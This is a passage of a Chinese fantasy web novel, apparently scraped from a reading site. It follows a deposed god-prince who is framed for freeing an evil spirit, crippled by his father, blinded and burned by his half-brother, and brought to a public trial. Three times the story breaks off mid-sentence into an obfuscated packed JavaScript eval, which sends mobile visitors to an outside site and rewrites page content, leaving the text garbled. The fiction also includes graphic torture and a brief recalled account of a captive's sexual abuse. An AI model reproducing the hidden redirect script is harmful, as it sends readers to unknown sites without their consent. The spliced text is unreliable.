他话一出,宁樾抬头看着他,眼底最后一丝希冀也被消磨的干干净净。疏浅那边想必也是忙不过来,他何必因为这些事再给她添堵。 虎毒尚不食子,这世间都是什么理。让他担上这个罪名完完全全是想要他的命。 “犹豫了?那宁瑈……”神帝笑着看着他,想看看自己这位一身正气的儿子会如何抉择。 “好。”他盯着他没有迟疑,事关宁瑈他不敢赌,这回信他,若是他说的这些不作数,死他都会拉着他一块。 “来人,把他押进神界大牢。”似是怕他反悔般,神帝灵力聚在指尖,拿出一对冰晶手铐注入灵力,唰的一下扣在他手腕上。 宁樾看着他这一连串的动作,一瞬失神,手上那副透着丝丝凉意的手铐令他一阵恶寒,怎会有父亲为了利益甚至干得出弑亲这种事情。 神帝看着他被带走的身影,长舒一口气。他这个儿子年幼即自请领兵,平定魔物祸乱。历天劫,飞升上神比他足足快了一千多年,再到人们称颂的战神……平心而论,论武力,他恐怕已不是他的对手。 他神情越发幽深,若不是给宁瑈下毒来牵制他,恐怕他都不知该如何对付他了……想到这里,他嘴角勾起一抹笑容,这六界间最不值得的就是情之一字,任何情都毫无价值。 他曾以为宁樾身上再怎么说也淌着他一半的血,会有些皇族历代的性格。怎料他半分都不像他,跟他娘一个样子…… 在宁樾儿时他曾绕过神后旁敲侧击道要壮大神族,吞并弱小的地界……他还清晰地记得那个穿着月白浸泡的小公子看着他一本正经地用还未褪去稚气的奶音说:“父皇,这是不对的。六界万家,共处才是正道……” 想到这里,他看着这空无一人的大殿出神………宁樾啊宁樾,高堂之上无儿女情长,终是太良善了。 至于宁瑈……他想起那个爱拿着百花研制香料的小姑娘,脸颊总是挂着笑容。少女甜甜的声音在耳畔响起:“父皇父皇,你尝一个嘛……父皇父皇,你试试我调的这个,安神的哟……”片段在脑海中闪过,不知怎的有些心烦意乱。 他抬手摁了摁眉心,罢了,反正他没想过要这个女儿的命,用来牵制宁樾而已。那味毒药服下五次解药后便能解毒,届时他会放过她,前提是她得安分。 金色余晖洒进大殿,琉璃瓦华光流转。玉石柱上金龙盘旋,雕刻栩栩如生。神帝看着这一切,脑海时不时浮现出酆都大殿的样子……他不明白,人人都渴望权利,明明他攻下魔界再吞并几界便能重振神界,取代酆都。可她和她的儿女都不赞成他,为何? - 神宫花园中,四季不败的鲜花盛放,彩蝶舞动。鎏金凤织长裙在玉石板小道上拖了一路,华丽的鎏金底色在阳光下越发耀眼,但不及女子耀眼万分。 兰妃满头的珠钗轻摇,发出铃铛般脆响。元祉搀扶着她,元容与也跟在她身旁缓缓走着。身后一大群仙女离得远远的,低着头尾随其后。 她容颜宛如画中人,柳叶眉微微上挑,一双眼眸秋波流转,带着浑然天成的娇媚,唇如点珠,一开一阖道:“母神帮你们走到这一步,剩下的路就靠你们自己了。” “宁樾太子之位被废,你们父皇必定从你二人中选出新太子……但是无论是你们俩谁,你们兄弟二人不可反目,合作才是共赢之道。” 她兰花指捻着绣着山水的团扇,垂下的流苏抚过冰晶水镯,有一搭没一搭的摇着。忽然想到什么道:“宁樾虽然被押下了大牢,但是他必须除掉,留着便是后患无穷。你们兄弟二人想个办法……宁樾不可留。” 扶着她的元祉看着前方不知在想些什么,元容与微微皱起眉头,沉默地跟了一路。 眼前兰花开的正好,兰妃轻轻用手摸了摸娇嫩的花瓣,笑着道:“我最喜爱兰花,典雅不张扬,虽历经风雨,但也成了人们口中的雍容华贵。” 她顿了顿,头上珠帘轻晃:“你们也要懂得敛去锋芒,我知道你们从小活在宁樾的阴影下,但是现在他堂堂太子不也是那样的下场吗,谁能走到最后还是未知呢。”想到这里,她美艳的脸上笑容更甚。 元祉看着她,目光幽深,半晌才玩味开口道:“母神,我有个办法。” 他神情莫测地看着兰妃,一抹阴险在他眼中一闪而过:“我在槐江山中见到了封印恶灵的地方,找人动动手脚,他宁樾百口莫辩。” 兰妃抚着兰花的白皙的手指忽然一顿,蔚蓝色的花瓣被折出一道青痕。珠钗轻摇,珠玉声响,她回头打量着元祉:“小祉,你这话何意啊?” 元祉看着她,无辜似的扯了扯嘴角:“恶灵屠戮六界,人们苦不堪言,酆都大帝以身死的代价封印恶灵。但恶灵突破封印的时间似乎提前了?用这件事污蔑他,这六界和酆都都不会放过他……” 他悄悄揣摩着兰妃的神色,就见她有些不可思议地看看他,俏丽的面容添上一抹喜色,欣慰道:“小祉聪明啊,就按你说的做吧。” “好,母神放心,我亲自布置。”他看向兰妃,又迅速垂眸掩下眼中神色。 “清允,你们在此地啊。”熟悉的声音传来,兰妃脸色瞬间一变,柔柔笑道:“陛下。” 神帝笑着缓步而来,挥了挥手道:“你们都下去吧,我单独和神后说些话。” 侍女们大气不敢出,屈身离开,元祉看了眼元容与,扯了一把他的袖子跟着出去。 “陛下何事啊?”她声音娇柔悦耳,一把扶上神帝的手臂。 神帝看着满园的花心情舒畅,笑着搂住她纤细的腰肢:“没事,就是来给你说声立太子的事。” 兰妃一顿,转而盈盈笑道:“陛下这么着急啊?” “神族不可无太子,我打算立容与。” 兰妃一听,眼底笑意浓浓,还是面上端着一副不露声色:“听凭陛下的。” 神帝忽然想到什么:“清允啊,宁瑈那孩子没做错什么,你把解药给我吧。” 兰妃看着他,挤出来一个笑容:“好。”荧光四起,一瓶小小的解药出现在她掌心,她将药瓶递了过去。 神帝意味不明地打量她两眼,接下了药瓶,就听到兰妃柔柔道:“宁樾呢,他那天都猜到真相,必定不会放过我们……” 说罢她将头斜斜倚在神帝肩上,有几分害怕般缩在他怀里。 神帝沉默片刻:“是啊,我没想好如何……” 兰妃紧握住他的手,蹭了蹭道:“陛下,宁樾那孩子也为神界鞍前马后的,但今后留着恐怕真是神族一大隐患……” 神帝沉默着没说话,她继续道:“依妾身之见,要不留他一命,但是对我们没有威胁就行。” 一阵沉默后,神帝执着她的手,沿着玉石小道走去,他沉着声道:“那我断了他的筋脉,封掉内力,也算绝了后患了……” 兰妃听他这么一说,嘴角微微勾起,柔声道:“陛下仁慈,宁樾他犯上作乱,您都不愿取他性命……” - 一片漆黑的牢狱中,火光映亮了粗壮锁链,泛出森森幽光。两根粗壮的锁链穿透宁樾的肩胛骨,近乎墨色的血迹凝固在肩头。 他四肢都被铁链锁住,跪在地上,裸露的上身一道道纵横交错的伤痕触目惊心,就像是洁白无瑕的美玉被人胡乱刻花了。 寂静中,细微的脚步声传来,几名站在门口的天兵微微疑心,不约而同握上了腰间的剑。毕竟牢里关的这位非同一般,不能出任何差错。 他们握着剑,有些迟疑地向前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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铁链发出哐啷哐啷的声响,肩胛骨似被剜去般疼痛。宁樾双眉紧蹙,有一种让人不敢触摸的破碎感,他强忍着疼痛,不在意地嘲讽一笑:“你知道什么人最可悲吗?” “活在过去的人。” 这句话仿佛刺到他某个痛点,他将抓着的锁链猛的一推,啪的一声脆响,宁樾被他猛撞在墙上,一声闷哼。愈合不久的伤口又被猛的撕裂开来,鲜血一丝丝渗了出来。 神帝一步冲到他面前,怒目圆睁:“既然这样,那就留不得了。” 他想起兰妃给他说的,全身内力凝聚于掌上,一阵劲风疾起,猛地拍上宁樾的内丹处,却又恰如其分的收住了。 细微的一声碎裂声在黑夜绽放,宁樾一口血呕出来,直直倒在地上。 他能感觉内丹一丝丝碎裂,却又不至于灰飞烟灭,全身筋脉在一寸一寸被剥离,绵密的针扎进筋骨,喉咙一阵腥甜。 神帝看着倒在地上冒着冷汗的宁樾,终是叹了口气,头也不回地朝着大牢外的光亮之处走去。 宁樾倒在地上,眉头紧紧拧住,疼痛淹没了他,只有一丝清醒的意识告诉他,神帝这是顾忌声誉不想杀他,却又忌惮他要他成为一个彻底的废人…… 内丹处仿佛被撕裂了无数道口子,细微灵力拂过伤口缓缓愈合,却又裂开了新的口子。那种疼痛无法言喻,宁樾只觉得全身上下似是被妖兽撕咬般四分五裂,偏偏还是清醒着的痛…… 神族太子宁樾被押下狱废除太子之位的事在六界不胫而走,六界皇室中或多或少知道些内情却不敢吭一声,但是平民百姓不同。 这一消息一传出来时,几界间曾受过宁樾庇护的百姓们纷纷上街打抱不平,他们哪知这其中勾心斗角,哪管那皇位之上是谁,他们只在乎那个真正为他们谋了福祉的人。 神族皇室人心惶惶,百姓声势浩大,势要替宁樾讨个说法,大殿之上,琉璃瓦在阳光下流光溢彩,元祉匆匆步入大殿,微微欠身:“父皇,儿臣已经办妥了。” 神帝略显疲惫的眼神中终于焕发一点光彩,他点了点头,一丝赞许的笑容挂在嘴边:“好。” 翌日,一条消息在六界引起轩然大波,神族太子宁樾在槐江山秘境中为了一己私利私放恶灵,惹得生灵涂炭民不聊生,神帝替酆都新帝正法,押下大狱。 这消息一出,六界顿时炸开了锅,大多数民众怎么也不肯相信,只认为这是神帝来堵住悠悠众口的法子。 直到神界的留影石传遍了六界的大街小巷,人们清晰地看见了那位丰神俊朗的太子殿下使着玄天神剑破开了封印着恶灵的层层冰面,群众一片哗然。 那些打抱不平势要讨个公道的声音瞬间淹没于无尽的谩骂声中,人们带着对恶灵的怨气将宁樾一并打在耻辱柱上,过往的辉煌一并淹没于尘埃,悠悠众口皆是要六界共审这一罪人,给无数灰飞烟灭的人们一个交代。 44. 两世的恨 墨语脚步匆匆地朝云霄之上的琉璃殿奔去,一向沉稳的她神色间难得染上一抹焦急。正走着,她迎面遇上一墨绿锦袍的公子,她点头示意道:“苏公子。” 苏聿也点头笑道:“墨语姑娘。”话毕,他看向墨语手中那封用金箔贴着的加急信封,微微挑眉道:“你这是要去给你殿下送信?” 墨语点了点头道:“殿下嘱咐有事情一定要及时通知她,闭关的法阵运行时,会隔绝一切联系,殿下都无法感知。” 听完她的话,苏聿若有所思地蹙起眉头:“但我曾在书上见过,修行时被打断很危险啊。” 墨语神色黯淡下来:“我也担心过,但是殿下既然这样吩咐一定有她的道理。” 苏聿看着她掩不住担心:“那怎么行,你是不了解你们家殿下,她只会强撑着什么都不说。这时候打断她最是危险,你也能着手处理,先看着办嘛。” 墨语抬头打量着眼前的男子,殿下对她说知意和苏聿都是她在凡间处理事情时遇到的朋友,虽然她不记得殿下什么时候有过这般交心的朋友,但是秉着不多问的原则她也没有多说。 几日观察,眼前这位苏公子看起来居然拿殿下当妹妹,她虽然觉得有些逾矩了,但是殿下看起来乐在其中,她觉得殿下难展这样的笑颜,苏公子一定是个不错的人。 她认真地点了点头,自言自语道:“也是,先派人盯着神界,等殿下出关了再说也不迟。” - 阴暗的大牢中,一阵与这里格格不入的佩环声轻轻响起。 纤纤玉手捻起施法的手势,一层层水波隔绝大牢和外界的声音。她款款走向最深处的牢狱,脸上挂着一抹轻笑。 大牢深处,浓浓的血腥味似是浸入每一处砖瓦,从未散去。她微皱眉头,轻轻抬手捻起一个法术散去气味,微微停顿后径直朝里走去。 一片黑暗中,微微亮光映出了地上一团人影,人影没有因她的到来而发出任何动静,仿佛是与黑暗彻底融为一体。 微光映着她娇媚的脸庞,只看见一抹轻笑挂在她脸上,她缓缓走近,待看清后有些嫌弃地“嘶”了一声。 一地的血迹,宁樾的黑色衣袍被血浸湿粘在身上,勾勒出肌肉的轮廓。被撕破的衣袍露出一道道触目惊心的伤痕,伤口并没有愈合,仍有一丝丝血迹浸了出来。 她看着伤口微微一笑,果然,神帝果真废了他,支离破碎的筋脉如今是连愈合伤口都做不到了。 宁樾隐约察觉到有人来了,他想要看看来人是谁,却发现自己连睁开眼皮的力气都没有,无数伤口利刃般划开皮肉想要将他撕碎。 他尽力使自己分神不去感受伤口的疼痛,可一分神,脑海中闪过的是母神熟悉的笑容,是她的一字一句…… 可是回不去了,他做不了什么使时间倒流,母神灰飞烟灭就是事实。 恨意在心底滋生,他没有像从前一般压抑着自己,任由情绪生根发芽……曾经还是太子之时,他知道高位之上最忌讳被情绪左右,个人情绪影响决断全局的能力,所以那时所有情绪都会被锁起来。 但现在他不在乎,他在应下神帝之时就已想明白,他们绝不会放过他,只是不知是何酷刑。如今的结局就是他想过的无数种中的一种,这样一来他就没法再给母神报仇了。 不过他已知足,逝去的人无法追回,活着的人要好好活下去。他如今能做的,唯有护宁瑈无忧…… 阵阵酸涩在心底涌起,他想到那个素来爱笑爱撒娇的小姑娘,该是有多难受。可是她曾说想走遍六界,观览四海,作为哥哥他该给她一个活下去的机会,去过她所爱的生活…… 在剧痛来袭前,脑海中闪过那些陪自己出生入死、誓死追随自己的部下,可事到如今他只能在心底无奈苦笑一声,跟着他真是太屈才了,他们不该止步于此。 本想睡过去缓解一下疼痛,模糊间脑海中勾勒出一个意想不到的身影。他在心底愣怔一瞬,疏浅……一抹绞痛绕心,他有些酸涩地想着……如今就是酆都大帝了,会很累吧…… 想起她一向冷冰冰的面庞,剧痛之下竟然还让他有一丝笑意,其实也就是个小姑娘……就是生来担上这么重的责任,装模作样罢了。 神后将指尖轻轻点在他脖颈上,那紊乱的气息和破碎的筋脉让她指尖都是一颤,浑身被寒意包裹……真是毫不留情,对自己的亲生儿子竟真下此重手,果然是帝王无情。 她柳眉微蹙,沉下一口气后转身离开,只留下大门嘎吱的轻响。 宁樾伏在地上,痛的倒吸一口带着血腥味的凉气,大门的轻响声再度响起,他意识模糊间想了想这时还会有什么人来。 宁瑈?神帝?元容与? “哥哥。”一道有些阴郁的声音传来,宁樾勉强辨别着这个声音……居然是元祉,他和元祉这个弟弟交集并不多,他来做什么? “我的太子殿下兄长,神界大牢滋味如何啊?曾经你送无数人来这里,如今换你了?” 宁樾没有做声,但他听出了这话中的意味,无数刀尖扎入皮肉,筋脉寸断的疼痛似被百蚁撕咬。沉默间,他回忆起这个不怎么说话的弟弟,不像元容与那般活泼,他大部分时间都没什么存在感。 “很痛吧?”元祉看着没有做声,眉头紧锁的宁樾,眼中有几分晦暗。 他顿了顿,自顾自地说道:“有些话,我今日不说,以后怕是没机会了。”他看向牢狱的大门,斜斜睨了一眼宁樾。 “你是不是觉得你这个哥哥做的很好?”他看向宁樾,突然冷笑一声道:“是啊,是做的很好。” “从小到大,你都是大家口中那个天之骄子,你从小就能拿到兵权,你从小就能有父皇的偏爱,你从小就有个身为神后的母神罩着……” 他说着说着,猛的在空中一划,一把带着寒意的匕首划破黑暗,他“唰”的一声将匕首抵在宁樾的脖子上。 他情绪异常激动,匕首在宁樾脖颈上反复摩挲着,惨白的脖颈如纸般脆弱,被划出一条触目红痕,宁樾依然没有动静,活像一尊冰雕。 元祉看着满身是血的宁樾,突然放声笑起来,笑声回响在大牢中,诡异至极。 笑过之后,他似是想起什么,眼底恨意一涌而出,他将匕首一转,一只手死死掐住宁樾脖子:“你明明拥有了我想要的一切,为什么还能那般不在乎?为什么?” 宁樾已经被疼痛淹没,他几乎以为自己是痛的出幻觉了。下一瞬,一只冰冷的手锁住他喉咙将他猛的往墙上一撞,铁链和骨头与墙碰撞出清脆的声音,他闷哼一声,唇角渗出血迹。 元祉看着软绵绵瘫在地上的宁樾,狰狞着笑道:“我费尽心思想要的东西你得来的那般轻松,可你偏偏还不在意……” 恍惚间,宁樾琢磨着他说的不在意是何意,就听着近乎疯狂的声音继续道:“就因为你的存在,我母神她责怪我们兄弟俩不知道多少回,凭什么,都是神帝血脉,凭什么你就这般风光,而我们就是衬托你的存在……” 他冷哼一声:“宁樾,你明明就是个低贱魔族血脉的混血种,凭什么!” 宁樾阂着眼,一言不发地听他说完,只觉得心底一阵寒意。从前,他担心这两位同父异母的弟弟多少会有些不平衡,所以每当神帝教授他剑法后,他都回来偷偷教给他们俩,每当军功奖励下来后,让宁瑈挑完喜欢的就让他俩挑…… 小时候他们的关系也算兄弟和睦,他怎就没看出来藏着这般心思……哪怕隐约有些察觉,他也不会觉得他们真心置自己于死地。 元祉看着他,握紧手中匕首,几近疯狂地低吼:“为什么啊宁樾,你都拥有了这些,为什么就不愿意重振神界呢?换作我拥有这一切,这六界都握在我手中……” 阴湿的牢狱陷入一阵诡异的沉默,半晌,一道沙哑低沉的声音吃力道:“本就……不对。” 话音落下,牢狱又陷入一阵沉默,元祉定定地看着他,止不住点头:“真是……废物……” 忽然,他像是想到什么令人愉悦的事情,突然笑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475107|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“没关系,反正你也活不了多久了。” 说罢,他还有些意味深长地看了眼宁樾:“你还不知道吧,现在六界皆知,先太子殿下为一己私欲解了恶灵封印……过不了几天,你就要被六界审判了。” 说完,他轻哼一声,放低声音道:“虽然……那个真正的你不会死在那里。” 宁樾断断续续间听见了什么为一己自私解了封印……六界审判,荒谬感涌上心头,这几日波折不断,他明白了他们的打算,给六界一个杀他的理由。 人心难测不过如此…… 他没有听见元祉小声嘀咕的那一句,意识渐渐模糊,昏昏沉沉地晕过去了。 元祉目光幽远地看向那似有亮光的地方,忽的想起来什么,一把掐住宁樾的脖子将他提起来。 他死死盯着宁樾:“差点忘了,有桩事情我还没找你算账。” 宁樾昏沉中只觉得一股力量锁在自己脖颈上,他忍住疼痛,微微睁开眼睛看看元祉在做什么。 他吃力地睁开眼睛,入目就是元祉模糊的脸庞,和那透着杀气的猩红双眼。脖颈上的力度越来越大,像是要将他脖颈生生扭断。 元祉在陷入一段回忆后猛的清醒过来,他看着微微睁开眼睛的宁樾,突然面目狰狞地笑起来。 “你曾经对我做过的事,我一定亲手奉还。” 他将匕首转了一圈,刀尖寒光一闪,微微眯了眯眼睛,一刀从宁樾双目上划过。 霎时,宁樾闷哼一声,血雾模糊了双眼,疼痛之余更多的是难以置信,元祉这是作何? 他怎可能对他做这种事情…… 元祉冷笑一声:“你还曾经把我的眼睛挖出来,还说要欣赏,今天我也来欣赏下你的。” 话音刚落下,他猛地将匕首挽了两个花,他将匕首狠狠扎在地上,随手扔出来两颗带着血的眼珠。 在各种疼痛交织下,宁樾只觉得眼睛一阵火辣辣的痛,他下意识想伸手捂住眼睛缓解疼痛,却发现全身软绵绵的好似已经不属于他了。 他被各种痛来回蹂躏,已没有任何反应。元祉看着他,轻笑一声,他掐住宁樾脖颈像扔阿猫阿狗一样往旁一扔,目光悠远地看向前方。 让他再想想曾经那个跟疯子一样的宁樾是怎么折磨他的,可忽然间一些回忆掠过脑海。 眼瞳猩红的宁樾坐在高座之上,嘴角挂着瘆人的笑容,他微微前倾身子,单手撑着下巴,居高临下看着他,语气幽幽道:“你怎么对待宁瑈的,我就百般奉还。” 想到这里,他猛地闭上双眼,不再去想那些他两世难忘的回忆。 只是说到这个,宁瑈……他当时怎么解决她的来着…… 尽管当初神帝心软放过了他这个女儿,他为了斩草除根也不可能放过这个曾经集万千宠爱的妹妹。 ……那日,他将宁瑈抓入大牢……过了这么久都记得不太清了,他只记得宁瑈用那一双令人怜爱的大眼睛看着他的时候,他只觉得一阵恶心,就下令让人剜了她的双眼…… 后来,好像他捅碎了宁瑈的内丹,但没完全碎,留有一口气的时候他也让她物尽其用,扔到军中让他的下属好好享受了一番…… 他不管,这就是他们兄妹罪有应得。 想到这里,他眼中露出一抹凶光,他在手上幻化出一块火灵石,用灵力催动,瞬间燃起一片火海。 他看着火海有些愤懑地想着,凭什么他宁樾就能将火炼化,而他只能借助这灵石。不过他转念一想,现在宁樾也是废人一个了……唇角渐渐勾起一个弧度。 他将火灵石放在宁樾身旁,瞬间,满身是血的宁樾被火海吞没。做完这一切,他轻轻笑了笑,转身离开了大牢。 全身一阵火辣辣地痛,他知道元祉做了什么,但此时他早已了无生欲,所求不过是赌一把神帝会放过宁瑈,仅此而已…… 被火灼烧的痛和经脉寸断的痛是截然不同的,火舌蔓延全身,一遍遍在疼痛中晕死过去,又一遍遍在烈火的舔舐下醒过来…… 45. 审判台上的黑白颠倒 审判的这天格外热闹,六界权贵都盛装前往神界审判台。平日无人涉足的区域,今日格外热闹。 一来是大家都想来看看这位昔日的天之骄子如何堕入尘埃,二来是如今酆都式微,神界大有东山再起之势,秉着“良禽择木而栖”的想法,他们都思忖着打点下和神界的关系。 雷电轰鸣,审判台悬浮于空中,四周是茫茫云海,云海之下是大名鼎鼎的云崖。 一团团雷电盘旋在审判台上空,那就是令世人闻风丧胆的天罚。在审判台被六界定罪的人,将受这天罚,再被扔下云崖,永世不得超生。 审判台上神帝神后盛装华服端坐,元祉和元容与分别坐在两侧。再下一阶,神界各位大臣将领落座其次。 同坐在高台上的妖帝格外有兴致,他笑着看向神帝:“可喜啊。” 神帝扭头看向他,这股意味不明的笑容让他有些不舒服,只是微微点了点头。 六界审判事关重大,梵净城的佛子和佛女也罕见地前来。善慧看着妖帝的奉承,不动声色地颔了颔首,和本初交换了一个眼神。 虞戍饶有兴致地把玩着玉案上的表决木牌,一副无所谓的样子。他身旁的虞落全程蹙着眉头,不动声色。 而挨着他们坐的仙族代表百里珧和虞落一般,蹙着眉头,眼中有浓浓的思虑。 见众宾客都已落座,神帝微微咳了两声:“因这逆子害的诸位大老远跑一趟,我先在这里给各位赔个罪了。”话毕,他举起面前玉盏,一饮而尽。 台下诸仙家见他喝了也都象征性举杯敬了他一杯,他扫过众人神情不动声色,眼底浮现一抹笑意。 他顿了顿,严肃道:“来人,把宁樾押上来。” 他这一声令下,所有人目光都看向连接着审判台的那一长长天路。 天路另一头,两排森严神兵立于两侧,两个神兵自长路一头而来,两人架着宁樾手臂,将他一路拖行至审判台正中间。 待两名神兵走近后,所有都是倒吸一口凉气。地上被拖行着的宁樾几乎看不出人样,浑身上下都是血,早已面目全非。 况且在坐诸位除了人皇都能感知出内力,那股凌乱地几乎无法分辨的内力让他们都是一惊。 别的不说,神界居然已经对宁樾用了这般酷刑。但他们转念一想,宁樾将恶灵的封印解了,害得无数人流离失所,血流成河,确实罪无可恕不值得同情。 两名神兵将宁樾拖行至审判台中心的刑台上,将他耷拉着的双手分别用铁链扣住,众目睽睽下,他整个人被泛着森森寒光的枷锁吊在高台之上。 褴褛的不成样子的衣袍被鲜血浸湿,大部分血凝在身上勾勒出若隐若现的肌肉线条,血将衣衫紧紧黏在伤口上,被划开的血肉翻出来,看的人触目惊心。还有未干的伤口渗出鲜血,滴落在黑色石板上。 虞落瞪大了双眼,一双妩媚的眼中只剩惊愕与恐惧,仅看了刹那她就别过头不再看了。元容与和虞戍眉头也皆是紧紧皱着。 群臣看清后也不由得倒吸一口凉气,已经完全认不出来这是曾经那个意气风发的太子殿下。 就在此时,一道淡漠却又洪亮的声音响起:“审判未定罪之前,神界这算是动用私刑吗?” 他话音一出,全场静默一瞬,都将目光投向平日不露锋芒的本初。其实大家都是知道神界这一出,但眼下神界一家独大,吞并魔界那么多宝物,实力今非昔比,谁敢出来质疑? 神帝有些愠怒地看向本初,但梵净城向来不参与纷争,且没人知道梵净城的实力,他不愿因这件事和梵净城撕破脸皮。 他顿了顿:“逆子在牢中多有不服,我们也是按规管教罢了。” 本初看着他,神色还是一贯淡淡的。他没再多说什么,理了理金色的袈裟落座。 - 酆都,一袭水蓝色衣裙的林知意一路小跑着到了珈若寝殿。 淡淡的结界旁,穿着靛蓝锦袍的苏聿正坐在台阶上靠着结界翻一卷剑谱。 林知意一个箭步冲到他旁边,摁住他的肩膀,压下心中怒气道:“苏聿,这几日的事情你都没和阿浅说吗?她对现在情况一无所知吗?” 苏聿抬了抬眼皮,懒洋洋地笑了笑:“都不是什么大事,误了她修行怎么办?” 听完他的话,林知意微微蹙起眉头,冷眼看着他:“那误了时机,阿浅这一趟就白来了!” 她将苏聿推向一旁:“这几日你说你来守着阿浅,可你最后什么都没告诉他。” 听完这话,苏聿收起一副吊儿郎当,正色道:“她是我妹妹,要是在这里面出了点闪失怎么办?” 林知意怔怔地看着他,眼中情绪复杂,她垂下眼睫,单手凝聚灵力点开了结界,闪身进去。 在她没有察觉时,一只手伸到了她背后,却好似在做什么挣扎似的,激烈颤抖着没有作出任何动作。 自打获得了那股力量后,季疏浅一直觉得自己浑身都被烈火灼烧着,血液似在翻腾。 她运转灵力,和那股力量融为一体,不知不觉间就陷入了昏睡。 ……梦中是一片飞沙走石,珈若的经历像一幅幅画卷似的在她眼前展开。她看见了珈若同样在槐江山中得到了昊天塔,可得到的不是很顺利,她好似被梦魇攫住了…… 过往一段段流逝……一日,珈若正一人在开满冰花的崖上练剑,剑过之处,扬起一片片冰芒,伴着阳光,格外刺目。 突然,墨语红着双眼出现在她身旁,两步在她身旁跪下,带着哭腔道:“殿下,您父神……提前预料到恶灵将冲破封印,他在槐江山以身死神灭的代价重新封印了恶灵……” 珈若看着她什么话也没说,只是远远地望着天空中散发的金色光芒,默默收起了虚华,留下了一句:“准备大典吧。” 看到这里,季疏浅觉得自己心口一阵绞痛。现在的她对酆都大帝没有情感,可曾经的珈若呢?但是她没得选……这条路命中注定。 就在此时,她忽然觉察到一丝异样。按理来说,皎月调中所发生的事情应当和真实发生过的一模一样。 可眼下看来,皎月调中的情节发生了很大改变啊。 怎会这样? 她内心闪过一丝忧心,皎月调不会自己改变,那就只可能是人为影响了情节。季疏浅思索着来龙去脉,问题就出在恶灵的封印上。 那日她与宁樾并未动封印,只可能是皎月调中另有其人提前解开了封印。酆都大帝也察觉到了这其中反常,才会在最后提醒她多提防…… 那会是谁?进入皎月调的只有她、阿姐、苏聿,应该只有他们三人的所作所为会引起皎月调的改变,可是他们俩都不是会解开恶灵封印的人,难道说另有其人? 她蹙起眉头,一时分神,体内的气息突然不受控制地游走,她猛的睁开眼睛,捂住心口闷哼一声,吐出一口血来。 忽然间,四周的结界被人划破,她正抬起眼皮,就对上了有些焦急冲进来的林知意。 “阿浅!”她推门看见嘴角还挂着一滴鲜血的季疏浅,焦急地冲了过去,扶住了她的肩膀。 “没事吧?这是怎么了?” 季疏浅看着她不甚在意地笑了笑:“没事儿。”随后她想到了什么,严肃道:“阿姐,出什么事了?” 林知意悄悄探了探她的内力,暗自感叹这内里太磅礴之时也松了口气,幸好没什么事,而且似乎已经吸收完全了。 她皱了皱眉:“长话短说,神界污蔑魔……宁樾,今日六界会审,在审判台。” 她话没说完,季疏浅就神色凝重地打断了她:“污蔑他什么?” 林知意叹了口气:“他们找来了一块所谓的留影石,人证物证俱在,指控是宁樾解了恶灵封印让这六界生灵涂炭。” 她话音落下,季疏浅皱着眉看着她没有出声。她是真没有料到,神帝竟会为了斩草除根做到这个地步。 她愣了愣,不知现在是何心情。可当她下意识想到宁樾时,一股酸涩涌上心头。她猜以宁樾的实力选择妥协,很有可能是神帝拿了宁瑈做筹码。 季疏浅看着林知意,一时不知该说些什么。她想起曾在史书上见到的记载,现在看来那记载并非完全是假的。 至少她知道,那卷史书是神界所写。 魔族公主宁瑶曦背叛魔界,偷了魔族阵法图,让魔族引以为傲的阵法一夕间溃败,魔君惨死。季疏浅衣衫下的手紧了紧,千年后神帝甚至不愿在史书上给她一个名分,真是可笑至极。 人们写史书哪怕与现实不符可一切也有迹可循。 在联系到这段史书内容后,她恍然大悟,或许神帝借神后之手拿到了魔界的阵法图…… 林知意见她沉默,有些担心地偏头问了问:“阿浅?” 季疏浅回过神来,摇了摇头轻声道:“没事。” 这世事无常,一切来得太突然,风暴之后满地狼藉只让人徒生荒谬。 她闭上双眼,长叹一口气:“阿姐……” 林知意还以为是她被神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475494|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界的虚伪弄的烦心,将她一把拉进怀中,轻轻拍了拍她的背无声的安慰。 “阿姐,你说我该不该插手?”季疏浅忽然轻声问道。 林知意一愣,这才明白了她的意思。 思索间,她也陷入了沉默,这就是宁樾的过往,阿浅若是插手,或许这一切都会改变。但是要眼睁睁地见他们颠倒黑白,她和阿浅都做不到。 季疏浅看着林知意,垂下眼睫,双眼间含着一抹所有所思的阴霾。她这一趟来的目的是在他成魔之时杀了他,眼下情形她若帮了他或许这成魔就会出差池。 可若她不帮,她更会觉得这世事荒谬。 她深思着,一次改变,不足以改变结局吧?反正善慧不是说过最后的结局都不会变嘛。季疏浅在心中默默想着,又想到善慧说的要多帮帮他…… 正想着,手腕突然一阵剧烈的刺痛,那种痛像是无数绵密的针扎入经脉,让人痛不欲生。她一把握住手腕,轻哼了一声。 林知意瞧出了她的异样,蹙眉问道:“怎么了?”一边撩开她长长的袖子,看到了那个十分眼熟的桃夭色的镯子。 季疏浅缓过了疼的那股劲时,睁眼入目就是那许久未见到的粉色镯子。她眉头一皱,糟了,宁樾那边一定出了什么事。 她握紧拳,下定了决心……反正帮一次应该没有影响,就当作个顺水人情了。 